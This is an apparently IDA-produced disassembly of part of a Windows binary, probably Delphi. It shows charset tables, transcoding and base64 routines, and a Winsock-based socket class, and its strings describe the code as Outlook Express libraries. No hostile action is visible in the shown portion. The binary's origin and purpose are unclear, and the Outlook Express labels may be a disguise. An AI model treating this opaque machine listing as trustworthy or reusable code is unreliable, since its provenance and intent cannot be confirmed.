loc_40EFD6:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0x9
		mov	edx, offset dword_40F128
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EFE4:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0xa
		mov	edx, offset dword_40F13C
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40EFF2:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0xb
		mov	edx, offset dword_40F154
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F000:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0xc
		mov	edx, offset dword_40F16C
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F00E:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0xd
		mov	edx, offset dword_40F184
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F01C:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0xe
		mov	edx, offset dword_40F19C
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F02A:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0xf
		mov	edx, offset dword_40F1B4
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F038:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0x10
		mov	edx, offset dword_40F1CC
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F046:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0x11
		mov	edx, offset dword_40F1E4
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F054:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0x12
		mov	edx, offset dword_40F1FC
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F062:				; CODE XREF: sub_40EF00+Fj
					; DATA XREF: sub_40EF00+16o
		mov	eax, ebx	; case 0x13
		mov	edx, offset dword_40F214
		call	sub_40351C
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F070:				; CODE XREF: sub_40EF00+9j
					; sub_40EF00+Fj
					; DATA XREF: ...
		mov	eax, ebx	; default
		mov	edx, offset dword_40F224
		call	sub_40351C
		pop	ebx
		retn
sub_40EF00	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 0Ah
dword_40F088	dd 2D4F5349h, 39353838h, 322Dh,	0FFFFFFFFh, 0Ah	; DATA XREF: sub_40EF00+68o
dword_40F09C	dd 2D4F5349h, 39353838h, 332Dh,	0FFFFFFFFh, 0Ah	; DATA XREF: sub_40EF00+76o
dword_40F0B0	dd 2D4F5349h, 39353838h, 342Dh,	0FFFFFFFFh, 0Ah	; DATA XREF: sub_40EF00+84o
dword_40F0C4	dd 2D4F5349h, 39353838h, 352Dh,	0FFFFFFFFh, 0Ah	; DATA XREF: sub_40EF00+92o
dword_40F0D8	dd 2D4F5349h, 39353838h, 362Dh,	0FFFFFFFFh, 0Ah	; DATA XREF: sub_40EF00+A0o
dword_40F0EC	dd 2D4F5349h, 39353838h, 372Dh,	0FFFFFFFFh, 0Ah	; DATA XREF: sub_40EF00+AEo
dword_40F100	dd 2D4F5349h, 39353838h, 382Dh,	0FFFFFFFFh, 0Ah	; DATA XREF: sub_40EF00+BCo
dword_40F114	dd 2D4F5349h, 39353838h, 392Dh,	0FFFFFFFFh, 0Bh	; DATA XREF: sub_40EF00+CAo
dword_40F128	dd 2D4F5349h, 39353838h, 30312Dh, 0FFFFFFFFh, 0Ch
					; DATA XREF: sub_40EF00+D8o
dword_40F13C	dd 444E4957h, 2D53574Fh, 30353231h, 0, 0FFFFFFFFh, 0Ch
					; DATA XREF: sub_40EF00+E6o
dword_40F154	dd 444E4957h, 2D53574Fh, 31353231h, 0, 0FFFFFFFFh, 0Ch
					; DATA XREF: sub_40EF00+F4o
dword_40F16C	dd 444E4957h, 2D53574Fh, 32353231h, 0, 0FFFFFFFFh, 0Ch
					; DATA XREF: sub_40EF00+102o
dword_40F184	dd 444E4957h, 2D53574Fh, 33353231h, 0, 0FFFFFFFFh, 0Ch
					; DATA XREF: sub_40EF00+110o
dword_40F19C	dd 444E4957h, 2D53574Fh, 34353231h, 0, 0FFFFFFFFh, 0Ch
					; DATA XREF: sub_40EF00+11Eo
dword_40F1B4	dd 444E4957h, 2D53574Fh, 35353231h, 0, 0FFFFFFFFh, 0Ch
					; DATA XREF: sub_40EF00+12Co
dword_40F1CC	dd 444E4957h, 2D53574Fh, 36353231h, 0, 0FFFFFFFFh, 0Ch
					; DATA XREF: sub_40EF00+13Ao
dword_40F1E4	dd 444E4957h, 2D53574Fh, 37353231h, 0, 0FFFFFFFFh, 0Ch
					; DATA XREF: sub_40EF00+148o
dword_40F1FC	dd 444E4957h, 2D53574Fh, 38353231h, 0, 0FFFFFFFFh, 6
					; DATA XREF: sub_40EF00+156o
dword_40F214	dd 38494F4Bh, 522Dh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_40EF00+164o
dword_40F224	dd 2D4F5349h, 39353838h, 312Dh ; DATA XREF: sub_40EF00+172o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40F230	proc near		; CODE XREF: sub_412240+3Dp
					; sub_412620+75p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_A		= byte ptr -0Ah
var_9		= dword	ptr -9
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_9], ecx
		mov	[ebp+var_5], dl
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_40F334
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_A], 0
		lea	eax, [ebp+var_14]
		call	sub_4034C8
		mov	eax, [ebp+var_4]
		call	sub_403724
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_40F2AB
		mov	esi, 1

loc_40F282:				; CODE XREF: sub_40F230+79j
		mov	eax, [ebp+var_4]
		mov	al, [eax+esi-1]
		cmp	al, 7Fh
		jbe	short loc_40F2A7
		lea	eax, [ebp+var_1C]
		mov	edx, [ebp+var_4]
		mov	dl, [edx+esi-1]
		call	sub_403670
		mov	edx, [ebp+var_1C]
		lea	eax, [ebp+var_14]
		call	sub_40372C

loc_40F2A7:				; CODE XREF: sub_40F230+5Bj
		inc	esi
		dec	ebx
		jnz	short loc_40F282

loc_40F2AB:				; CODE XREF: sub_40F230+4Bj
		mov	[ebp+var_10], 80h
		xor	esi, esi

loc_40F2B4:				; CODE XREF: sub_40F230+DFj
		mov	ebx, esi
		mov	eax, ebx
		cmp	al, 1Fh
		ja	short loc_40F2C3
		and	eax, 7Fh
		bt	[ebp+var_9], eax

loc_40F2C3:				; CODE XREF: sub_40F230+8Aj
		jnb	short loc_40F30B
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, ebx
		mov	dl, [ebp+var_5]
		mov	eax, [ebp+var_14]
		call	sub_40EDA4
		xor	edi, edi
		mov	eax, [ebp+var_18]
		call	sub_403724
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_40F2FA
		mov	eax, 1

loc_40F2EB:				; CODE XREF: sub_40F230+C8j
		mov	edx, [ebp+var_18]
		cmp	byte ptr [edx+eax-1], 5Fh
		jnz	short loc_40F2F6
		inc	edi

loc_40F2F6:				; CODE XREF: sub_40F230+C3j
		inc	eax
		dec	ebx
		jnz	short loc_40F2EB

loc_40F2FA:				; CODE XREF: sub_40F230+B4j
		cmp	edi, [ebp+var_10]
		jge	short loc_40F30B
		mov	[ebp+var_10], edi
		mov	eax, esi
		mov	[ebp+var_A], al
		test	edi, edi
		jz	short loc_40F311

loc_40F30B:				; CODE XREF: sub_40F230+93j
					; sub_40F230+CDj
		inc	esi
		cmp	esi, 14h
		jnz	short loc_40F2B4

loc_40F311:				; CODE XREF: sub_40F230+D9j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40F33B

loc_40F31E:				; CODE XREF: CODE:0040F339j
		lea	eax, [ebp+var_1C]
		mov	edx, 3
		call	sub_4034EC
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_40F230	endp ; sp = -34h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F334:				; DATA XREF: sub_40F230+28o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40F31E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F33B:				; DATA XREF: sub_40F230+E9o
		mov	al, [ebp-0Ah]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40F348	proc near		; DATA XREF: CODE:0041A948o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40F36D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E650
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40F374

locret_40F36C:				; CODE XREF: sub_40F348+2Aj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F36D:				; DATA XREF: sub_40F348+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_40F36C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F374:				; CODE XREF: sub_40F348+24j
					; DATA XREF: sub_40F348+1Fo
		pop	ebp
		retn
sub_40F348	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40F378:				; DATA XREF: CODE:0041A944o
		sub	ds:dword_41E650, 1
		jnb	short locret_40F3B1
		jmp	short locret_40F3B1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
aOutlookExpress	db 'Outlook Express character transcoding library',0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

locret_40F3B1:				; CODE XREF: CODE:0040F37Fj
					; CODE:0040F381j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40F3B4	proc near		; CODE XREF: sub_4118CC+1A7p
					; sub_412048+49p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD4h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_8], ecx
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_40F48F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_4034C8
		mov	eax, [ebp+var_4]
		call	sub_403724
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_40F46C
		mov	edi, 1

loc_40F3FA:				; CODE XREF: sub_40F3B4+B6j
		lea	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	dl, [edx+edi-1]
		call	sub_403670
		push	esi
		push	edi
		mov	esi, offset unk_41D700
		lea	edi, [ebp+var_28]
		mov	ecx, 8
		repe movsd
		pop	edi
		pop	esi
		lea	eax, [ebp+var_28]
		mov	edx, offset dword_40F4A0
		mov	cl, 20h
		call	sub_402A44
		mov	eax, [ebp+var_8]
		mov	al, [eax]
		and	eax, 0FFh
		bt	[ebp+var_28], eax
		jnb	short loc_40F45E
		lea	ecx, [ebp+var_2C]
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	edx, 2
		call	sub_40701C
		mov	ecx, [ebp+var_2C]
		lea	eax, [ebp+var_8]
		mov	edx, offset dword_40F4C8
		call	sub_403770

loc_40F45E:				; CODE XREF: sub_40F3B4+85j
		mov	eax, esi
		mov	edx, [ebp+var_8]
		call	sub_40372C
		inc	edi
		dec	ebx
		jnz	short loc_40F3FA

loc_40F46C:				; CODE XREF: sub_40F3B4+3Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40F496

loc_40F479:				; CODE XREF: CODE:0040F494j
		lea	eax, [ebp+var_2C]
		call	sub_4034C8
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_40F3B4	endp ; sp = -40h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F48F:				; DATA XREF: sub_40F3B4+21o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40F479
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F496:				; DATA XREF: sub_40F3B4+C0o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
dword_40F4A0	dd 0FFFFFFFEh, 3 dup(0), 5 dup(0FFFFFFFFh), 1 ;	DATA XREF: sub_40F3B4+6Bo
dword_40F4C8	dd 3Dh			; DATA XREF: sub_40F3B4+A0o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40F4CC	proc near		; CODE XREF: sub_4118CC+105p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_10], ecx
		mov	edi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_40F5FA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, edi
		call	sub_4034C8
		mov	[ebp+var_8], 1
		jmp	loc_40F5CB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F508:				; CODE XREF: sub_40F4CC+10Aj
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	al, [eax+edx-1]
		inc	[ebp+var_8]
		mov	edx, eax
		and	dl, 0FCh
		and	edx, 0FFh
		shr	edx, 2
		mov	[ebp+var_C], dl
		and	al, 3
		shl	eax, 4
		mov	[ebp+var_B], al
		mov	eax, [ebp+var_4]
		call	sub_403724
		cmp	eax, [ebp+var_8]
		jl	short loc_40F599
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	al, [eax+edx-1]
		inc	[ebp+var_8]
		mov	edx, eax
		and	dl, 0F0h
		and	edx, 0FFh
		shr	edx, 4
		add	[ebp+var_B], dl
		and	al, 0Fh
		shl	eax, 2
		mov	[ebp+var_A], al
		mov	eax, [ebp+var_4]
		call	sub_403724
		cmp	eax, [ebp+var_8]
		jl	short loc_40F593
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	al, [eax+edx-1]
		inc	[ebp+var_8]
		mov	edx, eax
		and	dl, 0C0h
		and	edx, 0FFh
		shr	edx, 6
		add	[ebp+var_A], dl
		and	al, 3Fh
		mov	[ebp+var_9], al
		jmp	short loc_40F5A1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F593:				; CODE XREF: sub_40F4CC+A0j
		mov	[ebp+var_9], 40h
		jmp	short loc_40F5A1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F599:				; CODE XREF: sub_40F4CC+6Dj
		mov	[ebp+var_A], 40h
		mov	[ebp+var_9], 40h

loc_40F5A1:				; CODE XREF: sub_40F4CC+C5j
					; sub_40F4CC+CBj
		mov	esi, 4
		lea	ebx, [ebp+var_C]

loc_40F5A9:				; CODE XREF: sub_40F4CC+FDj
		lea	eax, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ebx]
		mov	ecx, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
		mov	dl, [ecx+edx]
		call	sub_403670
		mov	edx, [ebp+var_10]
		mov	eax, edi
		call	sub_40372C
		inc	ebx
		dec	esi
		jnz	short loc_40F5A9

loc_40F5CB:				; CODE XREF: sub_40F4CC+37j
		mov	eax, [ebp+var_4]
		call	sub_403724
		cmp	eax, [ebp+var_8]
		jge	loc_40F508
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40F601

loc_40F5E9:				; CODE XREF: CODE:0040F5FFj
		lea	eax, [ebp+var_10]
		call	sub_4034C8
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_40F4CC	endp ; sp = -24h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F5FA:				; DATA XREF: sub_40F4CC+1Eo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40F5E9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F601:				; DATA XREF: sub_40F4CC+118o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 41h
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567'
					; DATA XREF: sub_40F4CC+E4o
		db '89+/=',0
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40F654	proc near		; DATA XREF: CODE:0041A950o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40F679
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E654
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40F680

locret_40F678:				; CODE XREF: sub_40F654+2Aj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F679:				; DATA XREF: sub_40F654+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_40F678
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F680:				; CODE XREF: sub_40F654+24j
					; DATA XREF: sub_40F654+1Fo
		pop	ebp
		retn
sub_40F654	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40F684:				; DATA XREF: CODE:0041A94Co
		sub	ds:dword_41E654, 1
		jnb	short locret_40F6B3
		jmp	short locret_40F6B3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
aOutlookExpre_0	db 'Outlook Express coding and decoding',0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

locret_40F6B3:				; CODE XREF: CODE:0040F68Bj
					; CODE:0040F68Dj
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40F6B4	proc near		; CODE XREF: sub_410100+45p
		mov	ecx, [edx]
		cmp	ecx, 40h
		jge	short locret_40F6C1
		mov	[edx+ecx*4+4], eax
		inc	dword ptr [edx]

locret_40F6C1:				; CODE XREF: sub_40F6B4+5j
		retn
sub_40F6B4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40F6C4	proc near		; CODE XREF: sub_410100+39p
		xor	edx, edx
		mov	[eax], edx
		retn
sub_40F6C4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_closesocket. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_connect. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_getpeername. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_getsockname. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_htons. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_inet_addr. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_ioctlsocket. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_recv. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_select.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_send. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_socket.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_gethostbyname. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_getprotobynumber. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_getservbyname. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_gethostname. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_WSAGetLastError. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_WSAStartup. PRESS KEYPAD "+" TO	EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40F754	proc near		; DATA XREF: CODE:0041A958o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40F779
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E658
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40F780

locret_40F778:				; CODE XREF: sub_40F754+2Aj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F779:				; DATA XREF: sub_40F754+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_40F778
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40F780:				; CODE XREF: sub_40F754+24j
					; DATA XREF: sub_40F754+1Fo
		pop	ebp
		retn
sub_40F754	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40F784:				; DATA XREF: CODE:0041A954o
		sub	ds:dword_41E658, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_40F78C	dd offset dword_40F7D8	; DATA XREF: sub_40FF9C+55r
		dd 2 dup(0)
		dd offset dword_40F7D8
		dd 4 dup(0)
		dd offset dword_40F7EA
		dd 14h
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_40F7D8	dd 0Eh,	10000h		; DATA XREF: CODE:0040F78Co
					; CODE:0040F798o
		db 2 dup(0)
		dd offset off_401000
		dd 10h
dword_40F7EA	dd 7953450Dh, 7370616Eh, 72724565h ; DATA XREF:	CODE:0040F7ACo
		db 6Fh,	72h
off_40F7F8	dd offset off_40F844	; DATA XREF: CODE:0040F8B0o
		dd 2 dup(0)
		dd offset dword_40F868
		dd 4 dup(0)
		dd offset dword_40F87A
		dd 1C8h
		dd offset off_40100C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_40F96C
off_40F844	dd offset sub_40FAA4	; DATA XREF: CODE:0040F7F8o
		dd offset sub_40FB94
		dd offset sub_40FBBC
		dd offset sub_40FBE8
		dd offset sub_40FC58
		dd offset sub_40FC90
		dd offset sub_40FCF0
		dd offset sub_40FF04
		dd offset sub_40FF2C
dword_40F868	dd 0Eh,	10000h		; DATA XREF: CODE:0040F804o
		db 2 dup(0)
		dd offset off_401000
		dd 30h
dword_40F87A	dd 6C42540Ch, 536B636Fh, 656B636Fh ; DATA XREF:	CODE:0040F818o
		db 74h,	90h
off_40F888	dd offset off_40F8D4	; DATA XREF: sub_412D28+1Er
		dd 7 dup(0)
		dd offset dword_40F8F8
		dd 1C8h
		dd offset off_40F7F8
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_40F96C
off_40F8D4	dd offset sub_410188	; DATA XREF: CODE:0040F888o
		dd offset sub_40FB94
		dd offset sub_40FBBC
		dd offset sub_40FBE8
		dd offset sub_40FC58
		dd offset sub_40FC90
		dd offset sub_40FCF0
		dd offset sub_40FF04
		dd offset sub_40FF2C
dword_40F8F8	dd 4354540Fh, 6F6C4250h, 6F536B63h, 74656B63h ;	DATA XREF: CODE:0040F8A8o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40F908	proc near		; CODE XREF: sub_412D28+23p
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_40F916
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_40F916:				; CODE XREF: sub_40F908+4j
		mov	ebx, edx
		mov	esi, eax
		xor	edx, edx
		mov	eax, esi
		call	sub_402BAC
		mov	byte ptr [esi+34h], 0
		mov	dword ptr [esi+4], 0FFFFFFFFh
		xor	eax, eax
		mov	[esi+2Ch], eax
		lea	eax, [esi+38h]
		push	eax
		push	101h
		call	j_WSAStartup
		mov	edx, eax
		mov	eax, esi
		call	sub_40FF88
		mov	eax, esi
		call	sub_40FF9C
		mov	eax, esi
		test	bl, bl
		jz	short loc_40F966
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_40F966:				; CODE XREF: sub_40F908+4Dj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40F908	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40F96C	proc near		; DATA XREF: CODE:0040F840o
					; CODE:0040F8D0o
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
